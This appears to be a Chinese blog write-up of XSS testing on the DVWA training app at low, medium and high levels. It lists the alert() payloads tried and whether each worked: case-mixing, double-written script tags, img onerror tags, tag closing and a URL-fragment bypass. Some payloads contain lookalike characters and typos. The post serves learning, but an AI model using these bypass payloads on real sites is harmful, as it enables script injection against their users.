对dvwa的低中高等级进行xss漏洞测试

低级模式:

首先选择low模式

dom xss测试

首先提交一个内容来获取default用来进行xss注入,对default后面的值进行修改来实现注入

<script>alert('this is low')</script>

出现弹窗,证明含有xss注入

xss(Reflected)注入:

在文本框中输入<script>alert('this is low xss(reflected)')</script>

出现弹框表示成功

xss(Stored)注入:

<script>alert('this is low xss(stored)')</script>

出现弹框表示成功

Medium模式xss漏洞测试:

xss(Dow)漏洞:

普通注入:

输入<script>alert('this is Medium xss(reflected)')</script>发现没反应,返回的是该页面

大小写绕过:

<sCriPt>alert('this is Medium xss(reflected)')</scriPt>发现也没反应

标签绕过:

<img src=x:alert(alt) οnerrοr=eval(src) alt=xss>

还是没有显示,那应该是需要闭合标签了

尝试闭合标签
</option></select><img src=1 οnerrοr=alert('thisisMediumxss(dom)')>

出现弹框表示成功

代码分析:

 通过查看php源码,可以看到会对script语句进行过滤这里把我们的script给if没了(如果发现了script则输入结果自动转为English),但是这是小问题,可以像做反射型和存储型一样换个标签构造一下就ok

xss(Reflected)漏洞测试:

普通注入:

<script>alert('this is Medium xss(reflected)')</script>

发现没成功

大小写注入

<scripT>alert('this is Medium xss(reflected)')</sCRipt>

出现弹框成功表示该页面存在大小写注入

双写注入

<scr<script>ipt>alert('XSS')</scr<script>ipt>

出现弹框,成功

html标签绕过:

<img src=1 οnerrοr=alert('方式')>

出现弹框,说明存在标签注入

xss(Stored)漏洞测试:

<script>alert('this is Med xss(Stored)')</script>

该框中有长度限制

没有出现弹框

对name进行注入,发现有长度限制

修改长度限制

<script>alert('this is Med xss(Stored)')</script>

返回正常,失败

大小写注入

<scriPt>alert('this is Med xss(Stored)')</sCript>

也没有出现弹框

对name进行大小写注入

首先也是修改长度限制

<scriPt>alert('this is Med xss(Stored)')</sCript>

出现弹框,成功,证明name存在大小写注入

标签注入

<img src=1 οnerrοr=alert('标签')>

返回为空

对name进行标签注入

先修改长度限制

<img src=1 οnerrοr=alert('标签')>

成功,name存在标签注入

闭合标签注入

出现弹框表示成功

high模式xss测试

xss(Dow)漏洞测试:

普通注入

<script>alert('this is low xss(dom)')</script>

返回english,失败

大小写绕过

<sCript>alert('this is low xss(dom)')</scriPt>

失败

双写注入

<scr<script>ipt>aleralertt('this is low xss(reflected)')</scr<script>ipt>

失败

标签绕过

<img src=1 οnerrοr=alert('this is high xss(dom)')>

失败

标签闭合注入

</option></select><img src=1 οnerrοr=alert('方式')>

失败

特殊符号绕过

通过查看php源码,可以看到这里直接在服务器后端判断,指定default的值必须为select选择菜单中的值,这里就要用到URL中的一个特殊字符#,这个字符后的数据不会发送到服务器端,相当于绕过了后端的过滤,不需要与服务端进行交互,直接在客户端处理数据的阶段执行。

#default=<script>alert('this is low xss(Dow)')</script>

出现弹框表示成功

xss(Reflected)漏洞测试:

普通注入

<script>alert('this is low xss(reflected)')</script>

失败

大小写注入

<scRipt>alert('this is low xss(reflected)')</sCript>

失败

双写注入

<scr<script>ipt>aleralertt('this is low xss(reflected)')</scr<script>ipt>

失败

单标签注入

<img src=1 οnerrοr=alert('公司')>

出现弹框,成功存在单标签注入

​​​​​​​xss(Stored)漏洞测试:

普通注入

name注入,先修改长度限制

<script>alert('this is low xss(Stored)')</script>

失败

message注入

<script>alert('this is low xss(Stored)')</script>

失败

失败

大小写注入

name注入,修改长度限制

<sCript>alert('this is low xss(Stored)')</scriPt>

失败

message大小写注入

<sCript>alert('this is low xss(Stored)')</scriPt>

失败

双写注入

name注入

<scr<script>ipt>aleralertt('this is high xss(stored)')</scr<script>ipt>

失败

message注入

修改长难度限制

<scr<script>ipt>aleralertt('this is high xss(stored)')</scr<script>ipt>

失败

单标签注入

name注入

<img src=1 οnerrοr=alert('和法国')>

出现弹框,成功,name存在单标签注入

message注入

<img src=1 οnerrοr=alert('和法国')>

失败

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值